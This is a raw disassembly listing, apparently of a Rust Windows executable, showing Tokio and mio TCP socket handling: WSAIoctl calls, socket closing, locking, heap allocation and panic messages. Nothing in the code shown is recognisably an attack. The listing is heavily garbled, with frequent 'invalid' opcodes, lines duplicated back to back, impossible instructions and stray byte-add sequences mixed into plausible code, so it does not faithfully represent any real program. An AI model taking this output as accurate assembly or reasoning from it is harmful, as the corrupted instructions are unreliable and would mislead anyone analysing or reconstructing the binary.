je 0x14011eb1c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r15d, eax
mov edi, eax
mov edi, eax
mov ecx, eax
call fcn.14014c870
cmp al, 0xd
jne 0x14011ed96
mov rdx, qword [rbx + 0x60]
mov byte [rdx + 0x79], 0
mov rax, qword [rdx + 0x28]
lea rcx, [rdx + 0x30]
mov qword [rbx + 0x70], rcx
mov qword [rdx + 0x30], rax
mov qword [rdx + 0x38], 0
add byte [rax - 0x73], cl
jo 0x14011eb89
mov dword [rbx + 0x80], eax
invalid
add byte [rax - 0x73], cl
jo 0x14011eb89
mov dword [rbx + 0x80], eax
mov byte [rdx + 0x70], 0
mov qword [rbx + 0x88], r12
mov rdi, qword [rdx + 0x30]
mov r14, qword [rdx + 0x38]
mov qword [rbx + 0x360], rdi
mov qword [rbx + 0x368], r14
mov byte [rbx + 0x5f], 1
lea rcx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_net_tcp_stream.rs
call fcn.1401681d0
mov r15, rdx
mov qword [rbx + 0x90], rdi
mov qword [rbx + 0x98], r14
mov qword [rbx + 0xb0], rax
mov qword [rbx + 0xb8], rdx
lea rcx, [rdx + 0x120]
mov r13, rdx
add r13, 0xc0
test rax, rax
mov eax, 0xc0
mov edi, 0x120
cmove rdi, rax
cmovne r13, rcx
cmp qword [rdx + rdi], 0
add byte [rdi], cl
test byte [rdx + rcx], dh
invalid
lea r14, [r13 + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r13 + 0x20], cl
je 0x14011ebe0
add ecx, dword [rax - 0x77]
add dword [rcx - 0x77], ecx
cmp qword [r13 + 0x48], 0
jne 0x14011ed58
mov qword [r13 + 0x48], rax
mov qword [rbx + 0xc0], r14
xor edx, edx
mov al, 1
mov rcx, qword [rbx + 0x78]
lock cmpxchg byte [rcx], dl
mov al, 0x11
mov al, 0x11
je 0x14011ed72
call fcn.1401899c0
mov rax, qword [rbx + 0xc0]
mov qword [rbx + 0x78], rax
cmp qword [rbx + 0x98], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
je 0x14011edd6
movabs r15, 0xc00000003
jmp 0x14011f4dc
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax + 0x28]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rdi, qword [rbx + 0x60]
mov edi, dword [rbx + 0x60]
mov edi, dword [rbx + 0x60]
lea rcx, [rdi + 0x79]
lea ecx, [rdi + 0x79]
shl r15, 0x20
or r15, 2
mov eax, 2
jmp 0x14011f580
add byte [rcx], al
add byte [rax], al
jmp 0x14011f224
mov rax, qword [rbx + 0x90]
mov qword [rbx + 0x68], rax
mov rdi, qword [r15 + rdi]
lea r15, [rdi + 0x18]
mov qword [rbx + 0x358], r15
lea r13, [rdi + 0x20]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x14011f403
xor r14d, r14d
movzx eax, byte [rdi + 0x28]
test al, al
jne 0x14011f41b
mov qword [rbx + 0xf0], r13
mov byte [rbx + 0xf8], r14b
lea r12, [rdi + 0x30]
mov rax, qword [rdi + 0x40]
test rax, rax
je 0x14011eef1
mov rcx, qword [r12]
mov rax, qword [rcx + rax*8 - 8]
mov rax, qword [rax]
cmp rax, 0x21
jb 0x14011ef2e
mov rax, qword [r15]
mov rcx, qword [rax + 0x10]
mov rdx, r12
call fcn.1400602a0
jmp 0x14011ef00
invalid
add byte [rax - 0x75], cl
mov r15, qword [rdi + 0x48]
mov rcx, qword [rdi + 0x60]
mov qword [rbx + 0x380], rcx
movups xmm0, xmmword [rdi + 0x50]
movaps xmmword [rbx + 0x370], xmm0
mov byte [rdi + 0x70], 1
add dword [rax - 0x7d], ecx
clc
add ecx, dword [rdi]
invalid
mov edi, ebx
invalid
invalid
add dword [rax - 0x7d], ecx
clc
add ecx, dword [rdi]
test byte [rbx - 0x16000005], cl
outsd dx, dword [rsi]
invalid
jmp 0x14011f560
mov rax, qword [r15]
mov rcx, qword [rax + 0x10]
mov rdx, r12
call fcn.1400602a0
mov r15, rax
test rax, rax
je 0x14011ef2e
test r14b, r14b
test dh, dh
jne 0x14011ef20
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x14011f626
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
invalid
invalid
invalid
jmp 0x14011f4dc
mov rax, qword [rdi + 0x40]
test rax, rax
je 0x14011f750
add byte [rax], al
add byte [rax], al
mov rcx, qword [r12]
mov r12, qword [rcx + rax*8 - 8]
clc
lock inc qword [r12]
jle case.0x14011d1d3.17
add byte [rax], al
mov r14, qword [rbx + 0xf0]
cmp byte [rbx + 0xf8], 0
add byte [rax], al
add byte [rax + 0xf8bb], al
add byte [rax], al
jne 0x14011ef72
mov rax, qword [0x14023c300]
add eax, 0x11d39a
add byte [rax - 0x2f], cl
loopne 0x14011efb2
shl rax, 1
shl eax, 1
test rax, rax
test eax, eax
jne 0x14011f60f
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov qword [rbx + 0x280], r12
mov qword [rbx + 0x100], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov dword [rbx + 0x260], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
and al, 0x38
and al, 0x38
lea r14, [rbx + 0x260]
mov qword [rsp + 0x30], r14
lea r13, [rbx + 0x100]
invalid
add byte [rcx + rcx*4 + 0x6c], cl
and al, 0x20
mov qword [rsp + 0x20], r13
mov dword [rsp + 0x28], 8
mov rcx, qword [rbx + 0x68]
mov edx, 0x48000022
add byte [rax], al
xor r8d, r8d
add byte [rax], al
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x14011f31a
mov rax, qword [rbx + 0x100]
xorps xmm0, xmm0
movups xmmword [rbx + 0x150], xmm0
movups xmmword [rbx + 0x140], xmm0
movups xmmword [rbx + 0x130], xmm0
movups xmmword [rbx + 0x168], xmm0
mov word [rbx + 0x178], 0
mov qword [rbx + 0x110], 0
add byte [rax], al
add byte [rax], al
mov byte [rbx + 0x118], 0
mov dword [rbx + 0x120], 0
add byte [rax], al
add byte [rcx + rcx*4 - 0x5d], cl
sub byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x5d], cl
sub byte [rcx], al
add byte [rax], al
mov qword [rbx + 0x160], rax
mov qword [rbx + 0x100], 1
add byte [rax], al
add byte [rax], al
mov qword [rbx + 0x108], 1
movzx eax, byte [0x14023c308]
adc dword [rax], eax
adc dword [rax], eax
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14011f078
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14011f73c
invalid
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0x80
mov eax, 0x80
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14011f73c
mov r15, rax
movups xmm0, xmmword [rbx + 0x170]
movups xmmword [rax + 0x70], xmm0
movups xmm0, xmmword [rbx + 0x160]
movups xmmword [rax + 0x60], xmm0
movups xmm0, xmmword [rbx + 0x150]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [rbx + 0x140]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [rbx + 0x100]
movups xmm1, xmmword [rbx + 0x110]
movups xmm2, xmmword [rbx + 0x120]
movups xmm3, xmmword [rbx + 0x130]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea r12, [rax + 0x10]
mov qword [rbx + 0x350], rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [rbx + 0x78]
lea r13, [rax + 0x80]
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x14011f5b9
movzx eax, byte [r15 + 0x18]
test al, al
jne 0x14011f850
mov r14, r15
add r14, 0x18
mov dword [r15 + 0x70], 0x19d
mov qword [r15 + 0x68], r13
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x14011f5f9
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
lock inc qword [rdi]
jle case.0x14011d1d3.17
lock inc qword [r15]
jle case.0x14011d1d3.17
lea r14, [rdi + 0x10]
mov qword [rbx + 0x100], rdi
mov qword [rbx + 0x110], r13
mov byte [rbx + 0x118], 3
mov qword [rbx + 0x108], r15
mov rcx, r14
int1
int1
mov rdx, r15
call fcn.14005ff70
mov r12, qword [rbx + 0x88]
mov esp, dword [rbx + 0x88]
movzx eax, byte [rdi + 0x78]
test al, al
je 0x14011f24b
add byte [rax], al
add byte [rax], al
mov rcx, r14
call fcn.14005d6b0
test rax, rax
je 0x14011f24b
invalid
mov qword [rbx + 0x338], rax
mov qword [rbx + 0x330], 0
mov rcx, qword [rbx + 0x108]
call fcn.140060180
mov rax, qword [rbx + 0x100]
lock dec qword [rax]
dec dword [rax]
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rax]
add dword [rax], eax
add al, ch
test al, 0xf
hlt
jne case.0x1401132c0.312
mov rcx, qword [rbx + 0x100]
call fcn.140060ab0
mov rax, qword [rbx + 0x108]
lock dec qword [rax]
jne 0x14011f20a
lea rcx, [rbx + 0x108]
call fcn.140046070
mov r12, qword [rbx + 0x88]
jmp 0x14011f267
lea rcx, [rdi + 0x40]
mov rdi, qword [rbx + 0x80]
mov qword [rbx + 0xa0], rdi
mov rax, qword [rbx + 0x70]
mov qword [rbx + 0xa8], rax
call fcn.140108d10
jmp 0x14011f554
movups xmm0, xmmword [rbx + 0x100]
movups xmm1, xmmword [rbx + 0x110]
add byte [rdi], cl
adc byte [rbx + 0x110], cl
movaps xmmword [rbx + 0x340], xmm1
mov eax, dword [rax + 3]
add byte [rax], al
movaps xmmword [rbx + 0x330], xmm0
cmp qword [rbx + 0x330], 0
add eax, dword [rax]
add byte [rax], al
je 0x14011f382
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
mov ecx, dword [0x14023c258]
test rcx, rcx
jne 0x14011f2a1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14011f88c
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
cmc
add eax, 0x89480000
ror dword [rax - 0x77], 5
mov bh, 0xcf
adc dword [rax], eax
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0x20
add byte [rax], al
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14011f88c
invalid
add byte [rax], al
add eax, 0x280f0000
xor dword [rax], 3
add byte [rax], al
movaps xmm0, xmmword [rbx + 0x330]
movaps xmm1, xmmword [rbx + 0x340]
movups xmmword [rax + 0x10], xmm1
mov qword [rbx + 0x88], rax
movups xmmword [rax], xmm0
lea rcx, [rbx + 0x98]
call fcn.140060af0
mov r9, qword [rbx + 0x88]
movups xmm0, xmmword [rbx + 0xb0]
mov rcx, qword [rbx + 0x90]
mov rdx, qword [rbx + 0x60]
lea rax, [rdx + 0x40]
movups xmmword [rdx + 0x40], xmm0
mov r8, qword [rbx + 0x78]
mov qword [rdx + 0x50], r8
mov qword [rdx + 0x58], rcx
mov qword [rdx + 0x60], r9
invalid
invalid
mov qword [rdx + 0x68], rax
jmp 0x14011ea41
invalid
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r15d, eax
mov qword [rbx + 0x100], 0
mov dword [rbx + 0x260], 0
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x38
add byte [rcx - 0x77], al
invalid
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x38
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x20], r13
mov dword [rsp + 0x28], 8
mov rcx, qword [rbx + 0x68]
mov edx, 0x4800001c
add byte [rax + 0x45], cl
xor eax, eax
add byte [rax + 0x45], cl
xor eax, eax
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
invalid
je 0x14011f39e
push qword [rdx + rsi + 0x48]
mov eax, dword [rbx + 0x100]
mov rax, qword [rbx + 0x100]
mov rcx, qword [rbx + 0x68]
cmp rax, rcx
jne 0x14011efe4
jmp 0x14011f3a8
mov r15, qword [rbx + 0x338]
test r15, r15
jne 0x14011f4dc
mov r9, qword [rbx + 0x98]
jmp 0x14011f2e7
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rcx, qword [rbx + 0x68]
mov qword [rbx + 0x100], 0
mov dword [rbx + 0x100], 0
mov dword [rbx + 0x260], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
and al, 0x38
and al, 0x38
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x20], r13
mov dword [rsp + 0x28], 8
mov edx, 0x4800001d
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_WSAIoctl]
inc dword [rsi]
add byte [rbx + 0x6c74fff8], al
inc dword [rsi]
add byte [rbx + 0x6c74fff8], al
mov rax, qword [rbx + 0x100]
mov rcx, qword [rbx + 0x68]
cmp rax, rcx
jne 0x14011efe4
jmp 0x14011f463
call fcn.14018d880
mov r14d, eax
xor r14b, 1
test byte [rcx], 0xf
mov dh, 0x47
sub byte [rax + rax*8 - 0x5fb7bf1], al
invalid
invalid
test byte [rcx], 0xf
mov dh, 0x47
sub byte [rax + rax*8 - 0x5fb7bf1], al
invalid
mov qword [rbx + 0x100], r13
mov byte [rbx + 0x108], r14b
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.9_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbx + 0x100]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x14011f89b
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rcx, qword [rbx + 0x68]
invalid
mov qword [rbx + 0x100], 0
mov dword [rbx + 0x260], 0
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x38
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x38
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x20], r13
mov dword [rsp + 0x28], 8
mov edx, 0x4800001b
xor r8d, r8d
rol byte [rbp + 0x31], 0xc9
rol byte [rbp + 0x31], 0xc9
call qword [sym.imp.WS2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x14011f4bb
mov rax, qword [rbx + 0x100]
cmp rax, qword [rbx + 0x68]
jne 0x14011efe4
jmp case.0x1401162ee.132
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lock dec qword [r12]
jne 0x14011f4d4
mov rcx, qword [rbx + 0x280]
call fcn.140046010
shl r15, 0x20
or r15, 2
mov rax, qword [rbx + 0x78]
lock dec qword [rax]
jne 0x14011f4f2
mov rcx, qword [rbx + 0xc0]
call fcn.140045c80
cmp qword [rbx + 0xb0], 0
je 0x14011f517
mov rax, qword [rbx + 0xb8]
lock dec qword [rax]
jne 0x14011f530
mov rcx, qword [rbx + 0xb8]
call fcn.140166070
pop rbx
imul eax, dword [rax + rax], 0xffffffeb
invalid
pop rbx
imul eax, dword [rax + rax], 0xffffffeb
sbb dword [rax - 0x75], ecx
cmp dword [rax - 0x10000000], 0x48
dec dword [rax]
mov rax, qword [rbx + 0xb8]
lock dec qword [rax]
jne 0x14011f530
mov rcx, qword [rbx + 0xb8]
call fcn.140166030
lea rcx, [rbx + 0x98]
call case.0x14014f054.372
mov rcx, qword [rbx + 0x90]
mov byte [rbx + 0x5f], 0
call qword [sym.imp.WS2_32.dll_closesocket]
mov rdi, qword [rbx + 0x80]
mov byte [rdi], 1
mov eax, 2
mov rdi, qword [rbx + 0x60]
mov rcx, qword [rbx + 0x380]
mov qword [rbx + 0x3a0], rcx
movaps xmm0, xmmword [rbx + 0x370]
movaps xmmword [rbx + 0x390], xmm0
lea rcx, [rdi + 0x79]
mov byte [rcx], 0
mov qword [rsi], rax
mov qword [rsi + 8], r15
movaps xmm0, xmmword [rbx + 0x390]
movups xmmword [rsi + 0x10], xmm0
mov rax, qword [rbx + 0x3a0]
mov qword [rsi + 0x20], rax
mov al, 1
mov byte [rdi + 0x78], al
lea rsp, [rbp + 0x338]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.14018d880
movzx ecx, byte [r15 + 0x18]
test cl, cl
jne 0x14011f89d
mov dword [r15 + 0x70], 0x19d
mov qword [r15 + 0x68], r13
outsd dx, dword [rsi]
push 0xffffffff840fc084
outsd dx, dword [rsi]
sti
invalid
invalid
outsd dx, dword [rsi]
push 0xffffffff840fc084
outsd dx, dword [rsi]
sti
invalid
mov r14, r15
add r14, 0x18
mov rax, qword [0x14023c300]
adc ecx, ebp
adc dword [rax], eax
shl rax, 1
test rax, rax
loopne case.0x140142246.29
test eax, eax
je 0x14011f14e
call fcn.14018d880
test al, al
jne 0x14011f14e
test dword [rax - 5], ecx
invalid
invalid
add byte [rax + rax*8 - 0x4b77af1], al
test dword [rax - 5], ecx
sti
invalid
mov byte [r14], 1
jmp 0x14011f14e
call fcn.14018d880
test al, al
jne 0x14011ef72
test dword [rsi - 7], edx
invalid
invalid
loop case.0x14011ca0b.18
add byte [rax + rax*8 - 0x6a97af1], al
test dword [rsi - 7], edx
stc
invalid
mov byte [r14 + 8], 1
jmp 0x14011ef72
invalid
call fcn.14018d880
test al, al
jne 0x14011ef20
invalid
mov byte [rdi + 0x28], 1
jmp 0x14011ef20
clc
invalid
invalid
clc
invalid
lea rcx, str.A_Tokio_1.x_context_was_found__but_IO_is_disabled._Call__enable_io__on_the_runtime_builder_to_enable_IO.A_Tokio_1.x_context_was_found__but_timers_are_disabled._Call__enable_time__on_the_runtime_builder_to_enable_timers.Oh_no__We_never_placed_the_Core_back__this_is_a_bug_
lea ecx, str.A_Tokio_1.x_context_was_found__but_IO_is_disabled._Call__enable_io__on_the_runtime_builder_to_enable_IO.A_Tokio_1.x_context_was_found__but_timers_are_disabled._Call__enable_time__on_the_runtime_builder_to_enable_timers.Oh_no__We_never_placed_the_Core_back__this_is_a_bug_
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_net_tcp_stream.rs
mov edx, 0x68
add byte [rax], al
call fcn.140186f60
jmp 0x14011f89b
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
add byte [rax], al
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_net_tcp_socket.rs
lea eax, [0x1401bc928]
or dword [rax], eax
mov edx, 0x22
call fcn.140186b70
ud2
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_net_tcp_socket.rs
cmpsd dword [rsi], dword [rdi]
ror byte [rcx], cl
add byte [rdx + 0x23], bh
add byte [rbp + rcx*4 + 5], cl
cmpsd dword [rsi], dword [rdi]
ror byte [rcx], cl
add byte [rdx + 0x23], bh
call fcn.140186b70
ud2
ud2
add byte [rdx + 0x100], bh
call fcn.140186620
jmp 0x14011f89b
test byte [rcx], 0
invalid
test byte [rcx], 0
add byte [rax - 0x75], cl
mov rax, qword [rbx + 0x70]
invalid
mov rax, qword [rbx + 0x70]
mov qword [rbx + 0xc8], rax
mov dword [rbx + 0xc8], eax
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_net_tcp_stream.rs
add byte [rdx + 0x22], bh
add byte [rdx + 0x22], bh
call fcn.140186b70
jmp 0x14011f89b
mov rax, qword [rbx + 0x70]
mov qword [rbx + 0xc8], rax
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_net_tcp_stream.rs
mov edx, 0x23
call fcn.140186b70
jmp 0x14011f89b
add dword [rax], eax
add byte [rcx - 0x7d], cl
invalid
mov ecx, 8
mov edx, 0x80
call fcn.140186620
jmp 0x14011f89b
lea rax, [rbx + 0x358]
mov qword [rbx + 0x260], rax
lea rax, [0x1400607c0]
mov qword [rbx + 0x268], rax
lea rax, [rbx + 0xf0]
mov qword [rbx + 0x270], rax
lea rax, [0x1400608b0]
mov qword [rbx + 0x278], rax
mov qword [rbx + 0x100], 2
mov qword [rbx + 0x110], 2
mov qword [rbx + 0x120], 0
movabs rax, 0x400000020
mov qword [rbx + 0x128], rax
mov byte [rbx + 0x130], 3
mov qword [rbx + 0x138], 2
mov qword [rbx + 0x148], 2
mov qword [rbx + 0x158], 1
mov qword [rbx + 0x160], rax
mov byte [rbx + 0x168], 3
lea rax, str.Pe_
mov qword [rbx + 0x280], rax
mov qword [rbx + 0x288], 2
lea rax, [rbx + 0x100]
mov qword [rbx + 0x2a0], rax
mov qword [rbx + 0x2a8], 2
lea rax, [rbx + 0x260]
mov qword [rbx + 0x290], rax
mov qword [rbx + 0x298], 2
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.9_src_syswindows_selector.rs
lea rcx, [rbx + 0x280]
call fcn.1401869b0
jmp 0x14011f89b
xor eax, eax
mov qword [rbx + 0x100], r12
mov byte [rbx + 0x108], al
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.9_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbx + 0x100]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x14011f89b
mov ecx, 8
mov edx, 0x20
call fcn.140186620
ud2
xor al, 1
jmp 0x14011f852
lea ebp, [rdx + 0x80]
and rdx, 0xffffffffffffff80
mov rbx, rdx
lea rcx, [rbx + 0x100]
call fcn.140172360
and al, 5
add byte [rax + 0x48c48348], dl
and al, 5
add byte [rax + 0x48c48348], dl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
and rdx, 0xffffffffffffff80
mov rbx, rdx
lea rcx, [rbx + 0x100]
lea ecx, [rbx + 0x100]
lea ecx, [rbx + 0x100]
call fcn.1400609f0
nop
add rsp, 0x48
pop rbx
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
and rdx, 0xffffffffffffff80
mov rbx, rdx
lea rcx, [rbx + 0x108]
call fcn.14005e610
nop
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
and rdx, 0xffffffffffffff80
mov rbx, rdx
mov byte [rbx + 0x5f], 0
lea rcx, [rbx + 0x90]
call fcn.14016bc60
mov byte [rbx + 0x5f], 0
pop rdi
add byte [rax - 0x7d], cl
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
add byte [rax - 0x7d], cl
invalid
pop rbp
ret
add byte [rax - 0x7d], cl
invalid
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
and rdx, 0xffffffffffffff80
mov rbx, rdx
mov rax, qword [rbx + 0x60]
lea rcx, [rax + 0x40]
call fcn.140108d10
dec dword [rax - 0x75]
add dword [rax + 0x48000000], 0xffffff89
and dword [rax + 0x48000000], 0xffffff8b
jo 0x14012008b
mov dword [rbx + 0xa8], eax
dec dword [rax - 0x75]
add dword [rax + 0x48000000], 0xffffff89
and dword [rax + 0x48000000], 0xffffff8b
jo 0x14012008b
mov dword [rbx + 0xa8], eax
sub dword [rax + 0x48000000], 0xffffff83
invalid
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
xor byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
mov qword [rbp - 8], 0xfffffffffffffffe
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
mov ecx, dword [0x14023c258]
test rcx, rcx
jne 0x14012009a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1401200cc
mov rcx, rax
mov qword [0x14023c258], rax
rcl dword [rcx], 0
rcl dword [rcx], 0
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1401200cc
invalid
nop
out dx, eax
invalid
invalid
mov qword [rax], 1
lea rcx, [0x1401b8ef8]
mov cs, word [rcx]
invalid
add byte [rax - 0x73], cl
or eax, 0x98e3d
mov cs, word [rcx]
invalid
mov cs, word [rcx]
add byte [rax - 0x77], cl
mov dword [rax + 8], ecx
mov byte [rax + 0x10], reloc.WS2_32.dll_shutdown
mov qword [rax + 8], rcx
mov dword [rax + 8], ecx
mov byte [rax + 0x10], reloc.WS2_32.dll_shutdown
inc rax
add rsp, 0x30
pop rbp
ret
invalid
mov ecx, 8
mov edx, 0x18
call fcn.140186620
invalid
invalid
invalid
add byte [rdi], cl
invalid
invalid
invalid
lea ebp, [rdx + 0x30]
push 0x30
lea rdx, [0x1401b8ef8]
mov ecx, 1
call fcn.1400422e0
nop
add rsp, 0x20
pop rbp
ret
sub eax, 0x83000000
clc
add ecx, dword [rax - 0x77]
invalid
cmp eax, 3
mov qword [rbp - 0x10], rcx
je 0x140120149
test eax, eax
jne 0x140120182
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax + 0x90]
call qword [sym.imp.WS2_32.dll_closesocket]
invalid
add bh, bh
adc eax, 0x6f201
jmp 0x140120182
movzx eax, byte [rcx + 0xe0]
add byte [rax], al
add byte [rbx + 0x167403f8], al
cmp eax, 3
je 0x14012016b
cmp eax, 3
je 0x14012016b
test eax, eax
jne 0x140120177
sal byte [rbp + 0x1e], 0x48
mov eax, dword [rbp - 0x10]
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0xa0]
call fcn.140109d50
jmp 0x140120177
out 0x9b, eax
wait
invalid
add rcx, 0xb0
add ecx, 0xb0
call fcn.140108d10
mov rax, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
invalid
mov byte [rax + 0xe9], 0
sub cl, 0
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rbp - 0x10]
add rsp, 0x30
pop rbp
jmp fcn.14006b990
invalid
hlt
invalid
mov eax, 0x8948fff4
push rsp
and al, 0x10
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x30]
mov rax, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
mov byte [rax + 0xe9], 0
add rsp, 0x20
pop rbp
ret
nop
mov qword [rsp + 0x10], rdx
adc byte [rbp + 0x48], dl
sub esp, 0x20
adc byte [rbp + 0x48], dl
sub esp, 0x20
lea rbp, [rdx + 0x30]
mov rcx, qword [rbp - 0x10]
call fcn.14006b990
mov bh, 0xf4
call qword [rax + 0x20c48348]
mov bh, 0xf4
call qword [rax + 0x20c48348]
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1401202a4
mov rbx, rax
movups xmm0, xmmword [0x1401bc3ab]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], WSAStartup
adc byte [rdx + 0x48], sil
mov dword [rbp - 0x20], edi
jge 0x140120223
adc byte [rdx + 0x48], sil
mov dword [rbp - 0x20], edi
jge 0x140120223
jge 0x140120223
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14012026b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1401202b9
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1401202b9
mov qword [rax], rdi
mov qword [rsi], rbx
mov qword [rsi + 8], shutdown
add byte [rax], al
add byte [rax - 0x77], cl
adc byte [rax - 0x73], r9b
add eax, 0x99201
add byte [rax], al
add byte [rax - 0x77], cl
adc byte [rax - 0x73], r9b
add eax, 0x99201
